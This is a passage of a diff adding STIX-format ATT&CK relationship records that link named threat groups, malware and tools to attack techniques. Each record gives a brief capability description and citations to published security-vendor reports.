"2019-06-30T23:13:18.528Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Obfuscation June 2017", + "description": "Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html" + }, + { + "source_name": "FireEye FIN7 Aug 2018", + "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--3fb836b7-41cf-40d1-bd56-14e45e6bbd02", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:41.888Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Palo Alto OilRig May 2016", + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + }, + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "[Taidoor](https://attack.mitre.org/groups/G0015) uses RC4 to encrypt the message body of HTTP content.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.048Z", + "id": "relationship--bdba5fef-c560-4b8a-9ce5-616395a73841", + "source_ref": "intrusion-set--59140a2e-d117-4206-9b2c-2a8662bd9d46", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Trend Micro. (2012). The Taidoor Campaign. Retrieved November 12, 2014.", + "source_name": "TrendMicro Taidoor", + "url": "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) stole domain credentials from Microsoft Active Directory Domain Controller and leveraged [Mimikatz](https://attack.mitre.org/software/S0002).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--98d076a5-9640-4337-a5a0-27c0c8a3374b", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "modified": "2019-09-09T19:21:42.501Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.", + "source_name": "FireEye APT35 2018", + "url": "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--4f6aa78c-c3d4-4883-9840-96ca2f5d6d47", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.079Z", + "id": "relationship--e232f720-ab39-43f4-b419-ae8de115c5e6", + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "modified": "2019-06-30T23:13:18.593Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye FIN7 March 2017", + "description": "Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Honeybee](https://attack.mitre.org/groups/G0072) uses FTP for command and control.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--27729570-1933-4e9e-b916-7da56de33d40", + "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87", + "modified": "2019-03-25T12:58:44.286Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee Honeybee", + "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[NDiskMonitor](https://attack.mitre.org/software/S0272) obtains the victim computer name and encrypts the information to send over its C2 channel.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--7a8a36ee-66f8-42ca-abeb-29e6223b91ee", + "source_ref": "malware--d1183cb9-258e-4f2f-8415-50ac8252c49e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "source_name": "TrendMicro Patchwork Dec 2017", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[SDelete](https://attack.mitre.org/software/S0195) deletes data in a way that makes it unrecoverable.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--35f3fba0-7deb-4436-87a2-503c96f69342", + "source_ref": "tool--d8d19e33-94fd-4aa3-b94a-08ee801a2153", + "modified": "2019-04-24T00:37:08.768Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Russinovich, M. (2016, July 4). SDelete v2.0. Retrieved February 8, 2018.", + "source_name": "Microsoft SDelete July 2016", + "url": "https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "description": "[gh0st RAT](https://attack.mitre.org/software/S0032) can create a new service to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T14:51:06.742Z", + "id": "relationship--a9a71970-33d1-4336-acb3-9252b91d27a4", + "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24", + "modified": "2019-04-16T20:26:40.960Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Nccgroup Gh0st April 2018", + "description": "Pantazopoulos, N. (2018, April 17). Decoding network data from a Gh0st RAT variant. Retrieved November 2, 2018.", + "url": "https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2018/april/decoding-network-data-from-a-gh0st-rat-variant/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) modifies several Registry keys under HKCU\\Software\\Microsoft\\Internet Explorer\\ PhishingFilter\\ to disable phishing filters.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T17:59:44.529Z", + "id": "relationship--a9a0ecce-239c-4666-94e9-ef1fb64cf796", + "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946", + "modified": "2019-04-16T20:55:20.215Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GDATA Zeus Panda June 2017", + "description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.", + "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) can collect the IP address of the victim machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T18:44:04.968Z", + "id": "relationship--2fc8879c-1763-4ed0-b1d8-67b4c3d49ed9", + "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", + "modified": "2019-04-16T14:30:35.417Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "The DigiTrust Group. (2017, January 12). The Rise of Agent Tesla. Retrieved November 5, 2018.", + "source_name": "DigiTrust Agent Tesla Jan 2017", + "url": "https://www.digitrustgroup.com/agent-tesla-keylogger/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "description": "[Remcos](https://attack.mitre.org/software/S0332) has full control of the Registry, including the ability to modify it.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T18:55:20.853Z", + "id": "relationship--66f2f7b3-3df9-4d4a-bedc-ecacac3039e8", + "source_ref": "tool--7cd0bc75-055b-4098-a00e-83dc8beaff14", + "modified": "2019-04-19T14:39:53.102Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Klijnsma, Y. (2018, January 23). Espionage Campaign Leverages Spear Phishing, RATs Against Turkish Defense Contractors. Retrieved November 6, 2018.", + "source_name": "Riskiq Remcos Jan 2018", + "url": "https://www.riskiq.com/blog/labs/spear-phishing-turkish-defense-contractors/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967", + "description": "[DarkComet](https://attack.mitre.org/software/S0334) can listen in to victims' conversations through the system\u2019s microphone.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T19:18:28.640Z", + "id": "relationship--b9f6e673-8c15-465e-9ef0-2bcc8efc586e", + "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547", + "modified": "2019-06-04T19:40:43.669Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "TrendMicro DarkComet Sept 2014", + "description": "TrendMicro. (2014, September 03). DARKCOMET. Retrieved November 6, 2018.", + "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/DARKCOMET" + }, + { + "source_name": "Malwarebytes DarkComet March 2018", + "description": "Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.", + "url": "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[Carbon](https://attack.mitre.org/software/S0335) can collect the IP address of the victims and other computers on the network using the commands: ipconfig -all nbtstat -n, and nbtstat -s.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T19:36:02.743Z", + "id": "relationship--45f5f01e-cfdd-4212-8bd6-0c1b0c82a0a2", + "source_ref": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f", + "modified": "2019-04-12T14:43:22.690Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Carbon Mar 2017", + "description": "ESET. (2017, March 30). Carbon Paper: Peering into Turla\u2019s second stage backdoor. Retrieved November 7, 2018.", + "url": "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/" + }, + { + "source_name": "GovCERT Carbon May 2016", + "description": "GovCERT. (2016, May 23). Technical Report about the Espionage Case at RUAG. Retrieved November 7, 2018.", + "url": "https://www.melani.admin.ch/dam/melani/de/dokumente/2016/technical%20report%20ruag.pdf.download.pdf/Report_Ruag-Espionage-Case.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "description": "[Carbon](https://attack.mitre.org/software/S0335) creates a base directory that contains the files and folders that are collected.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T19:36:02.847Z", + "id": "relationship--487cc105-dd80-4b43-94ae-da23517aab6f", + "source_ref": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f", + "modified": "2019-04-12T14:43:22.708Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Carbon Mar 2017", + "description": "ESET. (2017, March 30). Carbon Paper: Peering into Turla\u2019s second stage backdoor. Retrieved November 7, 2018.", + "url": "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce", + "description": "[Epic](https://attack.mitre.org/software/S0091) gathers information on local group names.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T19:55:48.163Z", + "id": "relationship--bc5b2681-d0e9-4ef5-9a90-56358ea34d96", + "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1", + "modified": "2019-07-26T16:10:43.096Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Turla Aug 2014", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2014, August 06). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroboros. Retrieved November 7, 2018.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08080105/KL_Epic_Turla_Technical_Appendix_20140806.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "description": "Adversaries can direct [BACKSPACE](https://attack.mitre.org/software/S0031) to upload files to the C2 Server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--9267fe42-6290-4342-8024-38d703db4376", + "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "source_name": "FireEye APT30", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[ComRAT](https://attack.mitre.org/software/S0126) has used HTTP requests for command and control.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--1782abeb-8d28-42a1-8abe-c137f23b282c", + "source_ref": "malware--da5880b4-f7da-4869-85f2-e0aba84b8565", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Rascagneres, P. (2015, May). Tools used by the Uroburos actors. Retrieved August 18, 2016.", + "source_name": "NorthSec 2015 GData Uroburos Tools", + "url": "https://www.nsec.io/wp-content/uploads/2015/05/uroburos-actors-tools-1.1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--463f68f1-5cde-4dc2-a831-68b73488f8f4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.064Z", + "id": "relationship--9155d072-d94b-4a63-b089-26781aff5275", + "source_ref": "intrusion-set--c5574ca0-d5a4-490a-b207-e4658e5fd1d7", + "modified": "2019-04-22T15:06:12.716Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Scarlet Mimic Jan 2016", + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[GravityRAT](https://attack.mitre.org/software/S0237) collects the MAC address, computer name, and CPU information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--041e8f9b-6cdb-44b3-aa37-a274a4de9a0b", + "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637", + "modified": "2019-04-24T23:21:59.305Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.", + "source_name": "Talos GravityRAT", + "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", + "description": "[RunningRAT](https://attack.mitre.org/software/S0253) contains code to clear event logs.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--c887c671-d467-45a1-952b-8fd20cd77ec1", + "source_ref": "malware--60d50676-459a-47dd-92e9-a827a9fe9c58", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "source_name": "McAfee Gold Dragon", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[Wiarp](https://attack.mitre.org/software/S0206) creates a backdoor through which remote attackers can open a command line interface.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--5f0a56f1-f9ef-41c5-a994-fcf499a02b90", + "source_ref": "malware--039814a0-88de-46c5-a4fb-b293db21880a", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Zhou, R. (2012, May 15). Backdoor.Wiarp. Retrieved February 22, 2018.", + "source_name": "Symantec Wiarp May 2012", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051606-1005-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[NanoCore](https://attack.mitre.org/software/S0336) gathers the IP address from the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T20:05:36.563Z", + "id": "relationship--14fe92e6-9a5e-4116-8316-e52f6270b02c", + "source_ref": "malware--b4d80f8b-d2b9-4448-8844-4bef777ed676", + "modified": "2019-04-17T20:47:23.990Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "The DigiTrust Group. (2017, January 01). NanoCore Is Not Your Average RAT. Retrieved November 9, 2018.", + "source_name": "DigiTrust NanoCore Jan 2017", + "url": "https://www.digitrustgroup.com/nanocore-not-your-average-rat/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[APT38](https://attack.mitre.org/groups/G0082) has used a utility called CLOSESHAVE that can securely delete a file from the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T21:27:25.235Z", + "id": "relationship--161225df-de21-4715-b4f3-c324c05ff590", + "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", + "modified": "2019-09-09T19:10:53.366Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", + "source_name": "FireEye APT38 Oct 2018", + "url": "https://content.fireeye.com/apt/rpt-apt38" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[BadPatch](https://attack.mitre.org/software/S0337) collects the OS system, OS version, MAC address, and the computer name from the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T21:33:34.664Z", + "id": "relationship--520faa7e-f529-4b54-b4dc-55d6ae094717", + "source_ref": "malware--9af05de0-bc09-4511-a350-5eb8b06185c1", + "modified": "2019-04-23T21:17:49.913Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Bar, T., Conant, S. (2017, October 20). BadPatch. Retrieved November 13, 2018.", + "source_name": "Unit 42 BadPatch Oct 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf", + "description": "[Cobian RAT](https://attack.mitre.org/software/S0338) has a feature to access the webcam on the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T21:40:37.812Z", + "id": "relationship--17bee216-d5ff-4e66-b221-0129be41b4f5", + "source_ref": "malware--aa1462a1-d065-416c-b354-bedd04998c7f", + "modified": "2019-04-23T21:09:54.753Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Yadav, A., et al. (2017, August 31). Cobian RAT \u2013 A backdoored RAT. Retrieved November 13, 2018.", + "source_name": "Zscaler Cobian Aug 2017", + "url": "https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[Pasam](https://attack.mitre.org/software/S0208) creates a backdoor through which remote attackers can retrieve information such as hostname and free disk space.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--c5087d19-7d99-4106-9dc7-407c7de710be", + "source_ref": "malware--e811ff6a-4cef-4856-a6ae-a7daf9ed39ae", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mullaney, C. & Honda, H. (2012, May 4). Trojan.Pasam. Retrieved February 22, 2018.", + "source_name": "Symantec Pasam May 2012", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-050412-4128-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[Octopus](https://attack.mitre.org/software/S0340) collects the host IP address from the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T13:24:09.060Z", + "id": "relationship--6b184c8f-99d6-4af2-8c01-34fc5d6d89e3", + "source_ref": "malware--e2031fd5-02c2-43d4-85e2-b64f474530c2", + "modified": "2019-01-30T13:24:09.060Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018.", + "source_name": "Securelist Octopus Oct 2018", + "url": "https://securelist.com/octopus-infested-seas-of-central-asia/88200/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967", + "description": "[PowerSploit](https://attack.mitre.org/software/S0194)'s Get-MicrophoneAudio Exfiltration module can record system microphone audio.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--2a32c434-c3ef-42ee-a0b6-c64c589355c3", + "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", + "modified": "2019-04-24T23:43:08.261Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub PowerSploit May 2012", + "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.", + "url": "https://github.com/PowerShellMafia/PowerSploit" + }, + { + "source_name": "PowerSploit Documentation", + "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.", + "url": "http://powersploit.readthedocs.io" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[GreyEnergy](https://attack.mitre.org/software/S0342) uses cmd.exe to execute itself in-memory.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T13:53:14.927Z", + "id": "relationship--9da5f1e4-2039-4c6a-8800-2c9277092d7c", + "source_ref": "malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8", + "modified": "2019-04-17T22:22:22.050Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "source_name": "ESET GreyEnergy Oct 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T14:19:17.921Z", + "id": "relationship--2ad95088-71af-462d-a18d-51c35a0cc6b3", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "modified": "2019-07-25T14:25:53.638Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.", + "source_name": "FireEye APT29 